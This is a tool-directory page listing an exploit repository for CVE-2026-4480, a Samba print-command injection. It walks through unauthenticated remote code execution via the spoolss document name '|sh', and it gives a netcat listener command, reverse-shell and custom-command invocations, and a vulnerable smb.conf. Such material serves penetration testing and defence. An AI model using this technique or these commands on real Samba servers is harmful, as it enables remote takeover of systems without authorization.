Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/alannewberry/cve-2026-4480-samba-print-command-injection-rce
Vulnerability AnalysisExploitationWeb Application ExploitationNetwork SecurityPenetration TestingCommand and ControlRemote Access Tool
GitHub
alannewberry/cve-2026-4480-samba-print-command-injection-rce

CVE-2026-4480-samba-print-command-injection-rce

Exploit para CVE-2026-4480: inyeccion de comandos en la variable %J del print command de Samba para RCE sin autenticacion via spoolss.

View Repository
21 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    960
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    554
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    349
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    343
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    323
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    295

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-4480 - Samba Print Command Injection - RCE sin Autenticacion

Description

Develop this exploit for the CVE-2026-4480 vulnerability in Samba. The bug is in how Samba handles the %J variable (document name) in the print command directive of smb.conf. The document name is passed unsanitized to the shell, which allows injecting arbitrary commands through the document_name field in a print job via RPC.

How it works

  1. Anonymous connection: Connects to the Samba server's \pipe\spoolss named pipe without credentials
  2. Printer opening: Opens a handle to the shared printer with use permissions
  3. Injection via document_name: Sets the document name to |sh, which causes Samba to interpret the spool contents as a shell script
  4. Payload delivery: Writes the command (reverse shell or custom command) as the document body
  5. Execution: When calling EndDocPrinter, Samba executes the print command that invokes /bin/sh with the spool contents

Requirements

sudo apt install python3-samba

Usage

First, start a listener:

nc -lvnp 4444

Then run the exploit:

# Reverse shell
python3 CVE-2026-4480-samba-print-command-injection-rce.py <TARGET_IP> <YOUR_IP> 4444

# Comando custom
python3 CVE-2026-4480-samba-print-command-injection-rce.py <IP_OBJETIVO> <TU_IP> 4444 -c "whoami > /tmp/pwned"

# Specify printer name
python3 CVE-2026-4480-samba-print-command-injection-rce.py <TARGET_IP> <YOUR_IP> 4444 -P printer-name

Example output

[*] target   : 10.10.10.1 (\\10.10.10.1\printer-share)
[*] callback : 10.10.14.5:4444  (start a listener first: nc -lvnp 4444)
[+] print job submitted -- check your listener / out-of-band channel

Technical details

  • Vector: RPC spoolss → StartDocPrinter with document_name = "|sh"
  • Root cause: The %J variable in print command is not escaped before being passed to the shell
  • Impact: RCE as the user running smbd (usually root or nobody)
  • Authentication: Not required — works with anonymous access to the printer share

Vulnerable configuration (smb.conf)

[printer-share]
   path = /var/spool/samba
   printable = yes
   guest ok = yes
   print command = /bin/bash -c 'cat %s | /usr/bin/enscript -p /tmp/out.ps -d %p %J; rm %s'

The problem is %J — the document name is interpolated directly into the shell command.

Legal notice

This script is solely for authorized security testing and educational purposes. Always obtain the corresponding authorization before testing against any system.

Author

Alan Newberry

Download Tool